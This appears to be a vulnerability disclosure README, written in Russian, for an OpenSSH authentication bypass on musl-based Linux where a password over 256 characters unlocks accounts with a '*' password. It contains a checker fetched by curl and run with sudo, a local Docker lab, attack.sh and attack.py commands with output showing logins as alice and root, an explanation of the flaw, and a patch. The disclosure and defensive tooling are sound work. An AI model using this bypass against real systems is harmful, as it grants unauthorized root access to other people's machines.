
openssh на musl принимал любой пароль длиной 257+ символов для учётных записей без пароля. начиная с 2016 года. check.sh, poc, патч.
openssh на musl linux (alpine, openwrt, buildroot, yocto) позволяет войти в любой аккаунт, у которого в качестве пароля указан *, с любым паролем длиннее 256 символов. это значит root, пользователи с входом только по ключу, пользователи ldap, пользователь alpine в облачных образах alpine. с 2016 года.
полная история на sshhole.com. в этом репозитории есть скрипт для проверки собственной машины, docker-конфигурация, чтобы попробовать самому, и патч.
исправлено в openssh 10.6p2 2026-11-05. пакеты alpine уже выпущены.
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
вы уязвимы, только если верно всё перечисленное ниже. скрипт сообщит, какого условия не хватает, если вы не уязвимы:
openssh-server в alpine собран так. openssh-server-pam с UsePAM yes безопасенPasswordAuthentication yes в sshd_config (это значение по умолчанию)*$5$ или $6$ (кто угодно когда-либо запускал passwd)glibc, pam, PasswordAuthentication no, openbsd, freebsd, macos: не затронуты. можете дальше не читать.
нужен docker. это собирает обычный alpine 3.24 с openssh-server и конфигурацией по умолчанию. у alice пароль *, у bob — настоящий пароль.
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
два промпта. первый — что угодно, второй — 300 × A. вот и эксплойт.
root тоже работает, если установлен PermitRootLogin yes:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py делает то же самое с помощью paramiko и позволяет выбрать длину пароля, так что вы можете увидеть, что 256 не работает, а 257 работает:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
для более старых версий alpine: docker build --build-arg BASE=alpine:3.21 -t sshhole . работает как минимум начиная с 3.18. самая старая версия, которую мы пробовали, — openssh 7.5p1 на musl 1.1.16 от 2017 года, и там тоже работало.
patch/4353fdc43-avoid-password-authn-bypass.patch — это исправление из upstream, без изменений, на случай если вам нужно применить его к более старой версии. оно работает на всём начиная с 7.3p1. оно заставляет sshd пропускать сравнение, когда сохранённое поле слишком короткое, чтобы быть настоящим хешем, а также прекращает использовать указатель на статический буфер libc.
если вы не можете обновиться прямо сейчас, установите PasswordAuthentication no в sshd_config. это полностью закрывает уязвимость.
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd сравнивает с * таким образом с 90-х. musl начал возвращать * при ошибке в 2012 году. sshd начал использовать соли других учётных записей в 2016 году. см. хронологию.
полная тестовая конфигурация (17 окружений: облачный образ в qemu, openwrt, buildroot, ldap и ad-пользователи и так далее), показатели распространённости и таблица по дистрибутивам находятся в отчёте. они могут быть опубликованы позже. этот репозиторий намеренно небольшой.
лицензия mit.